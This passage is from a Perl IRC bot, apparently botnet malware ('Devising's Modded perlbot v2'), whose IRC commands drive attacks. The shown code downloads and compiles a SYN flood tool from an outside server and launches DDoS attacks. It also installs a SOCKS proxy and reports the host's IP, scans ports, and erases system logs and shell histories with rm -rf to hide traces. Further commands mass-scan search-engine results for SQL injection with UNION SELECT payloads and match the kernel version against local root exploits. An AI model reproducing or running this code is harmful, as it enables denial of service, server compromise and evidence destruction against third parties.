  817.             my $x;
  818.  
  819.             my $page="";
  820.  
  821.             my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  822.  
  823.             print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  824.  
  825.             my @r = <$socke>;
  826.  
  827.             $page="@r";
  828.  
  829.             close($socke);
  830.  
  831.             while ($page =~  m/<title>(.*)</g){
  832.  
  833.                $x = $1;
  834.  
  835.                if ($x =~ /\&lt\;/) {
  836.  
  837.                   $x =~ s/\&lt\;/</g;
  838.  
  839.                }          
  840.  
  841.                if ($x !~ /milw0rm/) {
  842.  
  843.                   push (@bug,$x);
  844.  
  845.                }
  846.  
  847.             }
  848.  
  849.             while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  850.  
  851.                if ($1 !~ m/milw0rm.com|exploits|en/){
  852.  
  853.                   push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  854.  
  855.                }
  856.  
  857.             }
  858.  
  859.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  860.  
  861.             foreach $x (0..(@ltt - 1)) {
  862.  
  863.                sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12  $bug[$x] - $ltt[$x]");
  864.  
  865.                sleep 1;
  866.  
  867.             }
  868.  
  869.          }
  870.  
  871. ######################
  872.  
  873. #   Devisings shit   #
  874.  
  875. ######################
  876.  
  877. #######################
  878.  
  879. #      Version info   #
  880.  
  881. #######################      
  882.  
  883.          if ($funcarg =~ /^version/) {
  884.  
  885.            sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Version4:.12|4 Devising's Modded perlbot v2.");
  886.  
  887.          }
  888.  
  889. #######################
  890.  
  891. # End of Version info #
  892.  
  893. #######################          
  894.  
  895.            #some links could be dead just updated there public scripts noob
  896.  
  897.            if ($funcarg =~ /^install-syn/) {
  898.  
  899.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4 Please wait...");
  900.  
  901.             system 'cd /root';
  902.  
  903.             system 'wget http://server.perpetual.pw/syn.c';
  904.  
  905.             system 'gcc -o syn syn.c -pthread';
  906.  
  907.             system 'rm -rf syn.c';
  908.  
  909.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12|4.:3Installing Syn4:.12|4|--Syn is now installed and compiled :)");
  910.  
  911.          }
  912.  
  913.          
  914.  
  915.            if ($funcarg =~ /^syn\s+(.*)\s+(\d+)\s+(\d+)/) {
  916.  
  917.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attacking 4 ".$1.":".$2."12 for 4 ".$3." 12 seconds.");
  918.  
  919.             system "cd /root";
  920.  
  921.             system "./syn ".$1." ".$2." ".$3." ";
  922.  
  923.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3SYN DDoS12:.4|12 Attack Finished 4");
  924.  
  925.          }
  926.  
  927.          
  928.  
  929.  
  930.  
  931.  
  932.  
  933. ######################
  934.  
  935. #   End of Devisings #
  936.  
  937. #        Shit        #
  938.  
  939. ######################
  940.  
  941.  
  942.  
  943.  
  944.  
  945. ######################
  946.  
  947. #      Portscan      #
  948.  
  949. ######################
  950.  
  951.  
  952.  
  953.          if ($funcarg =~ /^portscan (.*)/) {
  954.  
  955.             my $hostip="$1";
  956.  
  957.             @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  958.  
  959.             my (@aberta, %porta_banner);
  960.  
  961.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  962.  
  963.             foreach my $porta (@portas)  {
  964.  
  965.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  966.  
  967.                   'tcp', Timeout => 4);
  968.  
  969.                if ($scansock) {
  970.  
  971.                   push (@aberta, $porta);
  972.  
  973.                   $scansock->close;
  974.  
  975.                }
  976.  
  977.             }
  978.  
  979.    
  980.  
  981.             if (@aberta) {
  982.  
  983.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  984.  
  985.             } else {
  986.  
  987.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  988.  
  989.             }
  990.  
  991.          }
  992.  
  993.  
  994.  
  995. ######################
  996. #  End of  Portscan  #
  997.  
  998. #####################
  999.  
  1000. #####################
  1001.  
  1002. # Chk The News from PacketStorm#
  1003.  
  1004. ######################
  1005.  
  1006. if ($funcarg =~ /^packetstorm/) {  
  1007.  
  1008.    my $c=0;
  1009.  
  1010.    my $x;
  1011.  
  1012.    my @ttt=();
  1013.  
  1014.    my @ttt1=();  
  1015.  
  1016.    my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;  
  1017.  
  1018.    print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  1019.  
  1020.    print $sock "Host: www.packetstormsecurity.org\r\n";
  1021.  
  1022.    print $sock "Accept: */*\r\n";
  1023.  
  1024.    print $sock "User-Agent: Mozilla/5.0\r\n\r\n";  
  1025.  
  1026.    my @r = <$sock>;
  1027.  
  1028.    $page="@r";
  1029.  
  1030.    close($sock);
  1031.  
  1032.    while ($page =~  m/<link>(.*)<\/link>/g)
  1033.  
  1034.    {
  1035.  
  1036.            push(@ttt,$1);
  1037.  
  1038.    }
  1039.  
  1040.    while ($page =~  m/<description>(.*)<\/description>/g)
  1041.  
  1042.    {  
  1043.  
  1044.           push(@ttt1,$1);
  1045.  
  1046.    }
  1047.  
  1048.    foreach $x (0..(@ttt - 1))
  1049.  
  1050.    {
  1051.  
  1052.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  1053.  
  1054.       sleep 3;
  1055.  
  1056.       $c++;
  1057.  
  1058.    }
  1059.  
  1060. }
  1061.  
  1062. ######################
  1063.  
  1064. #Auto Install Socks V5 using Mocks#
  1065.  
  1066. ######################
  1067.  
  1068. if ($funcarg =~ /^socks5/) {
  1069.  
  1070.  
  1071.  
  1072.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  1073.  
  1074.       system 'cd /tmp';
  1075.  
  1076.       system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  1077.  
  1078.       system 'tar -xvfz mocks-0.0.2.tar.gz';
  1079.  
  1080.       system 'rm -rf mocks-0.0.2.tar.gz';
  1081.  
  1082.       system 'cd mocks-0.0.2';
  1083.  
  1084.       system 'rm -rf mocks.conf';
  1085.  
  1086.       system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  1087.  
  1088.       system 'touch mocks.log';
  1089.  
  1090.       system 'chmod 0 mocks.log';
  1091.  
  1092.          sleep(2);
  1093.  
  1094.       system './mocks start';
  1095.  
  1096.          sleep(4);
  1097.  
  1098.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4   ");
  1099.  
  1100.  
  1101.  
  1102.       #lets grab ip
  1103.  
  1104.       $net = `/sbin/ifconfig | grep 'eth0'`;
  1105.  
  1106.       if (length($net))
  1107.  
  1108.       {
  1109.  
  1110.       $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  1111.  
  1112.       if (!length($net))
  1113.  
  1114.       {
  1115.  
  1116.       $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  1117.  
  1118.       }
  1119.  
  1120.          if (length($net))
  1121.  
  1122.       {
  1123.  
  1124.          chop($net);
  1125.  
  1126.          @netip = split/:/,$net;
  1127.  
  1128.          $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  1129.  
  1130.          $ip = $1 .".". $2 .".". $3 .".". $4;
  1131.  
  1132.            
  1133.  
  1134.             #and print it ^^    
  1135.  
  1136.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  1137.  
  1138.          }
  1139.  
  1140.       else
  1141.  
  1142.    {
  1143.  
  1144.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  1145.  
  1146.    }
  1147.  
  1148. }
  1149.  
  1150. else
  1151.  
  1152. {
  1153.  
  1154.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  1155.  
  1156. }
  1157.  
  1158. }
  1159.  
  1160. ######################
  1161.  
  1162. #        Nmap        #  
  1163.  
  1164. ######################
  1165.  
  1166.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  1167.  
  1168.          my $hostip="$1";
  1169.  
  1170.          my $portstart = "$2";
  1171.  
  1172.          my $portend = "$3";
  1173.  
  1174.          my (@abertas, %porta_banner);
  1175.  
  1176.        sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4|  4: $1:. |.: 4Ports 12:.  4 $2-$3");
  1177.  
  1178.        foreach my $porta ($portstart..$portend){
  1179.  
  1180.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  1181.  
  1182.     if ($scansock) {
  1183.  
  1184.                  push (@abertas, $porta);
  1185.  
  1186.                  $scansock->close;
  1187.  
  1188.                  if ($xstats){
  1189.  
  1190.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan :. |Founded  4 $porta"."/Open");
  1191.  
  1192.                  }
  1193.  
  1194.                }
  1195.  
  1196.              }
  1197.  
  1198.              if (@abertas) {
  1199.  
  1200.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| Complete ");
  1201.  
  1202.              } else {
  1203.  
  1204.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12]  Nmap PortScan 12:. 4| No open ports have been founded  13");
  1205.  
  1206.              }
  1207.  
  1208.           }
  1209.  
  1210. ######################
  1211.  
  1212. #    End of Nmap     #  
  1213.  
  1214. ######################
  1215.  
  1216. ######################
  1217.  
  1218. #    Log Cleaner     #  
  1219.  
  1220. ######################
  1221.  
  1222. if ($funcarg =~ /^logcleaner/) {
  1223.  
  1224. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Sorry our masters, nigga gotta big dick");
  1225.  
  1226. }
  1227.  
  1228. if ($funcarg =~ /^Cleandabitch/) {
  1229.  
  1230. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  This process can be long, just wait");
  1231.  
  1232.     system 'rm -rf /var/log/lastlog';
  1233.  
  1234.     system 'rm -rf /var/log/wtmp';
  1235.  
  1236.    system 'rm -rf /etc/wtmp';
  1237.  
  1238.    system 'rm -rf /var/run/utmp';
  1239.  
  1240.    system 'rm -rf /etc/utmp';
  1241.  
  1242.    system 'rm -rf /var/log';
  1243.  
  1244.    system 'rm -rf /var/logs';
  1245.  
  1246.    system 'rm -rf /var/adm';
  1247.  
  1248.    system 'rm -rf /var/apache/log';
  1249.  
  1250.    system 'rm -rf /var/apache/logs';
  1251.  
  1252.    system 'rm -rf /usr/local/apache/log';
  1253.  
  1254.    system 'rm -rf /usr/local/apache/logs';
  1255.  
  1256.    system 'rm -rf /root/.bash_history';
  1257.  
  1258.    system 'rm -rf /root/.ksh_history';
  1259.  
  1260. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  All default log and bash_history files erased");
  1261.  
  1262.       sleep 1;
  1263.  
  1264. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Now Erasing the rest of the machine log files");
  1265.  
  1266.    system 'find / -name *.bash_history -exec rm -rf {} \;';
  1267.  
  1268.    system 'find / -name *.bash_logout -exec rm -rf {} \;';
  1269.  
  1270.    system 'find / -name "log*" -exec rm -rf {} \;';
  1271.  
  1272.    system 'find / -name *.log -exec rm -rf {} \;';
  1273.  
  1274.       sleep 1;
  1275.  
  1276. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12]  LogCleaner :. |  Done! All logs erased");
  1277.  
  1278.       }
  1279.  
  1280. ######################
  1281.  
  1282. # End of Log Cleaner #  
  1283.  
  1284. ######################
  1285.  
  1286. ######################
  1287.  
  1288. #              SQL SCANNER              #
  1289.  
  1290. ######################
  1291.  
  1292.  
  1293.  
  1294. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  1295.  
  1296.    if (my $pid = fork) {
  1297.  
  1298.       waitpid($pid, 0);
  1299.  
  1300.    } else {
  1301.  
  1302.       if (my $d=fork()) {
  1303.  
  1304.          addproc($d,"[SQL2] $2");
  1305.  
  1306.          exit;
  1307.  
  1308.       } else {
  1309.  
  1310.            
  1311.  
  1312.          my $bug=$1;
  1313.  
  1314.          my $dork=$2;
  1315.  
  1316.          my $contatore=0;
  1317.  
  1318.          my ($type,$space);
  1319.  
  1320.          my %hosts;
  1321.  
  1322.          my $columns=$3;
  1323.  
  1324.            
  1325.  
  1326.                         ### Start Message
  1327.  
  1328.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  1329.  
  1330.                         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  1331.  
  1332.                         ### End of Start Message
  1333.  
  1334.             # Starting Google
  1335.  
  1336.             my @glist=&google($dork);
  1337.  
  1338.                         sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1339.  
  1340.                         my @mlist=&msn($dork);
  1341.  
  1342.                         my @asklist=&ask($dork);
  1343.  
  1344.                         my @allist=&alltheweb($dork);
  1345.  
  1346.                         my @aollist=&aol($dork);
  1347.  
  1348.                         my @lycos=&lycos($dork);
  1349.  
  1350.                         my @ylist=&yahoo($dork);
  1351.  
  1352.                         my @mzlist=&mozbot($dork);
  1353.  
  1354.                         my @mamalist&mamma($dork);
  1355.  
  1356.                         my @hlist=&hotbot($dork);
  1357.  
  1358.                         my @altlist=&altavista($dork);
  1359.  
  1360.                         my @slist=&search($dork);
  1361.  
  1362.                         my @ulist=&uol($dork);
  1363.  
  1364.                         my @fireball=&fireball($dork);    
  1365.  
  1366.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1367.  
  1368.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1369.  
  1370.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1371.  
  1372.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1373.  
  1374.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1375.  
  1376.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1377.  
  1378.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1379.  
  1380.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1381.  
  1382.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1383.  
  1384.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1385.  
  1386.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1387.  
  1388.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1389.  
  1390.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1391.  
  1392.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1393.  
  1394.              
  1395.  
  1396.             push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1397.  
  1398.              
  1399.  
  1400.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  1401.  
  1402.             my @puliti=&unici(@tot);
  1403.  
  1404.              
  1405.  
  1406.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  1407.  
  1408.            
  1409.  
  1410.             my $uni=scalar(@puliti);
  1411.  
  1412.                    
  1413.  
  1414.                   foreach my $sito (@puliti) {
  1415.  
  1416.                
  1417.  
  1418.                   $contatore++;
  1419.  
  1420.                     if ($contatore %5==0){
  1421.  
  1422.                        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  1423.  
  1424.                     }
  1425.  
  1426.                   sleep 3;
  1427.  
  1428.                     if ($contatore==$uni-1){
  1429.  
  1430.                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  1431.  
  1432.                     }    
  1433.  
  1434.                   sleep 3;
  1435.  
  1436.                     my $site="http://".$sito.$bug;
  1437.  
  1438.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  1439.  
  1440.            
  1441.  
  1442.          $w=int rand(999);    
  1443.  
  1444.          $w=$w*1000;
  1445.  
  1446.          for($i=1;$i<=$columns;$i++) {
  1447.  
  1448.             splice(@col,0,$#col+1);
  1449.  
  1450.             for($j=1;$j<=$i;$j++) {
  1451.  
  1452.                push(@col,$w+$j);
  1453.  
  1454.             }    
  1455.  
  1456.             $tmp=join(",",@col);
  1457.  
  1458.             $test=$site."-1+UNION+SELECT+".$tmp."/*";
  1459.  
  1460.             print $test."\n";
  1461.  
  1462.             $result=get_html($test);
  1463.  
  1464.             $result =~ s/\/\*\*\///g;
  1465.  
  1466.             $result =~ s/UNION([^(\*)]*)//g;
  1467.  
  1468.             for($k=1;$k<=$i;$k++) {
  1469.  
  1470.                $n=$w+$k;
  1471.  
  1472.                   if($result =~ /$n/){
  1473.  
  1474.                      splice(@col2,0,$#col2+1);
  1475.  
  1476.                         for($s=1;$s<=$i;$s++) {
  1477.  
  1478.                            push(@col2,$s);  
  1479.  
  1480.                         }
  1481.  
  1482.                      $tmp2=join(",",@col2);
  1483.  
  1484.                      $test2="+UNION+SELECT+".$tmp2."/*";
  1485.  
  1486.                      push @{$dane{$test2}},$k;
  1487.  
  1488.                   }  
  1489.  
  1490.             }
  1491.  
  1492.          }
  1493.  
  1494.          for $klucz (keys %dane) {
  1495.  
  1496.             foreach $i(@{$dane{$klucz}}) {
  1497.  
  1498.                $klucz =~ s/$i/$i/;
  1499.  
  1500.             }
  1501.  
  1502.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site."-1".$klucz."  ]  ");
  1503.  
  1504.          }
  1505.  
  1506.          %dane=();      
  1507.  
  1508.             }
  1509.  
  1510.       }
  1511.  
  1512.    delproc($$);
  1513.  
  1514.    exit;
  1515.  
  1516.    }
  1517.  
  1518. }
  1519.  
  1520. #######  SQL SCANNER  #########
  1521.  
  1522.  
  1523.  
  1524. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  1525.  
  1526. if (my $pid = fork) {
  1527.  
  1528. waitpid($pid, 0);
  1529.  
  1530. } else {
  1531.  
  1532. if (my $d=fork()) {
  1533.  
  1534. addproc($d,"[String] $2");
  1535.  
  1536. exit;
  1537.  
  1538. } else {
  1539.  
  1540.       $kto = $1;
  1541.  
  1542.       $host = $2;
  1543.  
  1544.       $skrypt = $3;
  1545.  
  1546.       $czekac=$4;
  1547.  
  1548.        
  1549.  
  1550.       #http://ttl.ugu.pl/string/index.php
  1551.  
  1552.       my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  1553.  
  1554.       print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1555.  
  1556.        
  1557.  
  1558.       my @r = <$socke>;
  1559.  
  1560.       $page="@r";
  1561.  
  1562.      
  1563.  
  1564.       $page =~ s/!scan(\s+)//g;
  1565.  
  1566.       $page =~ s/!scan(.)//g;
  1567.  
  1568.       $page =~ s/\<.*\>//g;
  1569.  
  1570.        
  1571.  
  1572.       @lines = split (/\n/, $page);
  1573.  
  1574.       $ile=scalar(@lines);
  1575.  
  1576.              
  1577.  
  1578.        
  1579.  
  1580.       for($i=9;$i<=$ile;$i+=4) {
  1581.  
  1582.  
  1583.  
  1584.          for($j=0;$j<4;$j++) {
  1585.  
  1586.             #print $lines[$i+$j]."\n";
  1587.  
  1588.              
  1589.  
  1590.             sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  1591.  
  1592.              
  1593.  
  1594.             sleep 10;
  1595.  
  1596.          }
  1597.  
  1598.            
  1599.  
  1600.          sleep $czekac*60;
  1601.  
  1602.       }
  1603.  
  1604.  
  1605.  
  1606.    }
  1607.  
  1608.       delproc($$);
  1609.  
  1610.       exit;
  1611.  
  1612.    }
  1613.  
  1614. }
  1615.  
  1616.  
  1617.  
  1618.  
  1619.  
  1620.  
  1621.  
  1622.  
  1623.  
  1624.  
  1625.  
  1626. #######  SQL SCANNER  #########
  1627.  
  1628.  
  1629.  
  1630. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  1631.  
  1632.    if (my $pid = fork()) {
  1633.  
  1634.       waitpid($pid, 0);
  1635.  
  1636.    } else {
  1637.  
  1638.       if (my $d=fork()) {
  1639.  
  1640.          addproc($d,"[SQL1] $1 $2");
  1641.  
  1642.          exit;
  1643.  
  1644.       } else {
  1645.  
  1646.          my $site=$1;
  1647.  
  1648.          my $columns=$2;
  1649.  
  1650.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  1651.  
  1652.            
  1653.  
  1654.          $w=int rand(999);    
  1655.  
  1656.          $w=$w*1000;
  1657.  
  1658.          for($i=1;$i<=$columns;$i++) {
  1659.  
  1660.             splice(@col,0,$#col+1);
  1661.  
  1662.             for($j=1;$j<=$i;$j++) {
  1663.  
  1664.                push(@col,$w+$j);
  1665.  
  1666.             }    
  1667.  
  1668.             $tmp=join(",",@col);
  1669.  
  1670.             $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  1671.  
  1672.                         #$result=query($test);
  1673.  
  1674.             $result=get_html($test);
  1675.  
  1676.      
  1677.  
  1678.             $result =~ s/\/\*\*\///g;
  1679.  
  1680.             $result =~ s/UNION([^(\*)]*)//g;
  1681.  
  1682.             for($k=1;$k<=$i;$k++) {
  1683.  
  1684.                $n=$w+$k;
  1685.  
  1686.                   if($result =~ /$n/){
  1687.  
  1688.                      splice(@col2,0,$#col2+1);
  1689.  
  1690.                         for($s=1;$s<=$i;$s++) {
  1691.  
  1692.                            push(@col2,$s);  
  1693.  
  1694.                         }
  1695.  
  1696.                      $tmp2=join(",",@col2);
  1697.  
  1698.                      $test2="+UNION+SELECT+".$tmp2."/*";
  1699.  
  1700.                      push @{$dane{$test2}},$k;
  1701.  
  1702.                   }  
  1703.  
  1704.             }
  1705.  
  1706.          }
  1707.  
  1708.          for $klucz (keys %dane) {
  1709.  
  1710.             foreach $i(@{$dane{$klucz}}) {
  1711.  
  1712.                $klucz =~ s/$i/$i/;
  1713.  
  1714.             }
  1715.  
  1716.             sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [  ".$site.$bug."-1".$klucz."  ]  ");
  1717.  
  1718.          }
  1719.  
  1720.          sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");      
  1721.  
  1722.       }
  1723.  
  1724.    delproc($$);
  1725.  
  1726.    exit;
  1727.  
  1728.    }
  1729.  
  1730. }
  1731.  
  1732. #######  SQL SCANNER  #########
  1733.  
  1734. ######################
  1735.  
  1736. #        Rootable                                     #
  1737.  
  1738. ######################
  1739.  
  1740. if ($funcarg =~ /^rootable/) {  
  1741.  
  1742. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12]::::... Nah tho ");
  1743.  
  1744. }
  1745.  
  1746. if ($funcarg =~ /^rootme/) {  
  1747.  
  1748. my $khost = `uname -r`;
  1749.  
  1750. my $currentid = `whoami`;
  1751.  
  1752. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  1753.  
  1754. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this zr is ".$khost." ");
  1755.  
  1756. chomp($khost);
  1757.  
  1758.  
  1759.  
  1760.    my %h;
  1761.  
  1762.    $h{'w00t'} = {  
  1763.  
  1764.       vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']  
  1765.  
  1766.    };
  1767.  
  1768.      
  1769.  
  1770.    $h{'brk'} = {
  1771.  
  1772.       vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']  
  1773.  
  1774.    };
  1775.  
  1776.      
  1777.  
  1778.    $h{'ave'} = {
  1779.  
  1780.       vuln=>['2.4.19','2.4.20']  
  1781.  
  1782.    };
  1783.  
  1784.      
  1785.  
  1786.    $h{'elflbl'} = {
  1787.  
  1788.       vuln=>['2.4.29']  
  1789.  
  1790.    };
  1791.  
  1792.      
  1793.  
  1794.    $h{'elfdump'} = {
  1795.  
  1796.       vuln=>['2.4.27']
  1797.  
  1798.    };
  1799.  
  1800.      
  1801.  
  1802.    $h{'expand_stack'} = {
  1803.  
  1804.       vuln=>['2.4.29']  
  1805.  
  1806.    };
  1807.  
  1808.      
  1809.  
  1810.    $h{'h00lyshit'} = {
  1811.  
  1812.       vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  1813.  
  1814.    };
  1815.  
  1816.      
  1817.  
  1818.    $h{'kdump'} = {
  1819.  
  1820.       vuln=>['2.6.13']  
  1821.  
  1822.    };
  1823.  
  1824.      
  1825.  
  1826.    $h{'km2'} = {
  1827.  
  1828.       vuln=>['2.4.18','2.4.22']
  1829.  
  1830.    };
  1831.  
  1832.      
  1833.  
  1834.    $h{'krad'} = {
  1835.  
  1836.       vuln=>['2.6.11']
  1837.  
  1838.    };
  1839.  
  1840.      
  1841.  
  1842.    $h{'krad3'} = {
  1843.  
  1844.       vuln=>['2.6.11','2.6.9']
  1845.  
  1846.    };
  1847.  
  1848.      
  1849.  
  1850.    $h{'local26'} = {
  1851.  
  1852.       vuln=>['2.6.13']
  1853.  
  1854.    };
  1855.  
  1856.      
  1857.  
  1858.    $h{'loko'} = {
  1859.  
  1860.       vuln=>['2.4.22','2.4.23','2.4.24']  
  1861.  
  1862.    };
  1863.  
  1864.      
  1865.  
  1866.    $h{'mremap_pte'} = {
  1867.  
  1868.       vuln=>['2.4.20','2.2.25','2.4.24']  
  1869.  
  1870.    };
  1871.  
  1872.      
  1873.  
  1874.    $h{'newlocal'} = {
  1875.  
  1876.       vuln=>['2.4.17','2.4.19','2.4.18']  
  1877.  
  1878.    };
  1879.  
  1880.      
  1881.  
  1882.    $h{'ong_bak'} = {
  1883.  
  1884.       vuln=>['2.4.','2.6.']  
  1885.  
  1886.    };
  1887.  
  1888.      
  1889.  
  1890.    $h{'ptrace'} = {
  1891.  
  1892.       vuln=>['2.2.','2.4.22']  
  1893.  
  1894.    };
  1895.  
  1896.      
  1897.  
  1898.    $h{'ptrace_kmod'} = {
  1899.  
  1900.       vuln=>['2.4.2']  
  1901.  
